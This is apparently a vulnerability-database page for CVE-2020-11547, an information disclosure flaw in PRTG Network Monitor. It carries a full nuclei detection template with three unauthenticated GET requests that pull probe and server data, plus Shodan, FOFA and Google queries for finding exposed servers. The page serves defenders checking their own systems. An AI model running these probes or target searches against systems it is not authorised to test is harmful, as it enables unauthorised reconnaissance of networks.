PRTG Network Monitor <20.1.57.1745 - Information Disclosure

mediumseverity

5.3CVSS score

52.1%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

PRTG Network Monitor before 20.1.57.1745 is susceptible to information disclosure. An attacker can obtain information about probes running or the server itself via an HTTP request, thus potentially being able to modify data and/or execute unauthorized administrative operations in the context of the affected site.

Impact

An attacker can exploit this vulnerability to gain sensitive information from the PRTG Network Monitor.

Fix

Upgrade PRTG Network Monitor to version 20.1.57.1745 or higher to mitigate the information disclosure vulnerability.

How to confirm it

Send: GET {{BaseURL}}/public/login.htm?type=probes ; GET {{BaseURL}}/public/login.htm?type=requests ; GET {{BaseURL}}/public/login.htm?type=treestat
Positive when: contains(body_1, 'Probe #1') && contains(body_2, '<span>Configuration Requests Sent</span>') AND contains "prtg_network_monitor" or "Probes" or "Groups" AND status 200

Run it with nuclei: nuclei -id CVE-2020-11547 -u <target>

The full check

id: CVE-2020-11547

info:
  name: PRTG Network Monitor <20.1.57.1745 - Information Disclosure
  author: x6263
  severity: medium
  description: PRTG Network Monitor before 20.1.57.1745 is susceptible to information disclosure. An attacker can obtain information about probes running or the server itself via an HTTP request, thus potentially being able to modify data and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the PRTG Network Monitor.
  remediation: |
    Upgrade PRTG Network Monitor to version 20.1.57.1745 or higher to mitigate the information disclosure vulnerability.
  reference:
    - https://github.com/ch-rigu/CVE-2020-11547--PRTG-Network-Monitor-Information-Disclosure
    - https://github.com/ch-rigu/PRTG-Network-Monitor-Information-Disclosure
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11547
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-11547
    cwe-id: CWE-306
    epss-score: 0.52059
    epss-percentile: 0.98966
    cpe: cpe:2.3:a:paessler:prtg_network_monitor:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: paessler
    product: prtg_network_monitor
    shodan-query:
      - title:"prtg"
      - http.title:"prtg"
    fofa-query: title="prtg"
    google-query: intitle:"prtg"
  tags: cve2020,cve,prtg,disclosure,paessler,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/public/login.htm?type=probes"
      - "{{BaseURL}}/public/login.htm?type=requests"
      - "{{BaseURL}}/public/login.htm?type=treestat"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains(body_1, 'Probe #1') && contains(body_2, '<span>Configuration Requests Sent</span>')"

      - type: word
        part: body
        words:
          - "prtg_network_monitor"
          - "Probes"
          - "Groups"
        condition: or

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from